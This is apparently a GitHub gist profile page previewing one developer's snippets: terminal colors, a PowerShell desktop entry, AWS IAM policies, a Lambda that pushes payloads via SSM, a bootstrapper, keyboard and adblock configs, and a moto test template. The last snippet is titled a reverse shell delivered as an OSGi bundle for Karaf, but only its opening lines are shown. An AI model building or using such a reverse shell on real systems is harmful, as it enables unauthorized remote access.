Skip to content

Instantly share code, notes, and snippets.

Avatar

2XXE GeneralTesler

View GitHub Profile
@GeneralTesler
GeneralTesler / colors
Created Jul 11, 2017
bash terminal colors
View colors
class colors:
PURPLE = '\033[95m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
CLOSE = '\033[0m'
BOLD = '\033[1m'
@GeneralTesler
GeneralTesler / powershell.desktop
Last active Jan 24, 2018
Linux .desktop file for PowerShell. Is blue. Also launches admin via right-click. Profile included
View powershell.desktop
[Desktop Entry]
Type=Application
Name=PowerShell
Exec=/home/dev/ps.sh
Icon=/home/dev/powershell.png
Terminal=true
Categories=Utility;
Actions=NewAdminShell;
[Desktop Action NewAdminShell]
@GeneralTesler
GeneralTesler / execrolepolicy.json
Last active May 14, 2018
Python lambda to launch EC2 + policy
View execrolepolicy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "ec2:RunInstances",
"Resource": [
"arn:aws:ec2:*:*:subnet/*",
"arn:aws:ec2:us-east-1::image/*",
@GeneralTesler
GeneralTesler / init.sh
Last active Nov 5, 2018
bootstrapper script
View init.sh
#!/bin/bash
#root check
if [[ $EUID -ne 0 ]]; then
echo "Re-run script with sudo"
exit 1
fi
#bashrc config
echo "PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\][\u⛾ \h]\[\033[00m\] \[\033[01;33m\][\w]\[\033[00m\]\n└─ '" >> $HOME/.bashrc
View lambda_gscript.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"ssm:SendCommand",
"codepipeline:PutJobFailureResult",
"codepipeline:PutJobSuccessResult",
View gscript_lambda.py
import json,os,boto3
def lambda_handler(event, context):
iid = os.getenv('INSTANCE_ID',None)
pd = os.getenv('PAYLOAD_DIR',None)
pipeline = boto3.client('codepipeline')
job = event['CodePipeline.job']['id']
if iid is None or pd is None:
@GeneralTesler
GeneralTesler / ducky.ahk
Last active Apr 7, 2019
AHK Config for Ducky 60%
View ducky.ahk
;Arrow keys
RCtrl::Right
RWin::Down
RShift::Up
RAlt::Left
;Fn+F10 Fn+F11 Fn+F12
SC044::Send {Media_Prev}
SC057::Send {Media_Play_Pause}
SC058::Send {Media_Next}
View filters.txt
! hide annoying google drive modal that prompts to sign in
docs.google.com##.docs-dialog.modal-dialog
docs.google.com##.modal-dialog-bg
! crunchyroll filters
||fwmrm.net/ad/*
||facebook.com/rtb_video/*
||crunchyroll.com/*.mp4
@GeneralTesler
GeneralTesler / mock.py
Created May 29, 2019
Python3 - mocking AWS services for unittest-ing using moto
View mock.py
from moto import mock_<service>
import boto3
import unittest
class TestFooBar(unittest.TestCase):
def __init__(self, *args, **kwargs):
super(TestFooBar, self).__init__(*args, **kwargs)
self.client = boto3.client("<service>")
self.mock = mock_<service>()
@GeneralTesler
GeneralTesler / ExecActivator.java
Last active Dec 6, 2019
simple reverse shell via OSGi bundle for Karaf
View ExecActivator.java
package com.demo.exec;
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;
public class ExecActivator implements BundleActivator {
@Override
public void start(BundleContext bundleContext) throws Exception {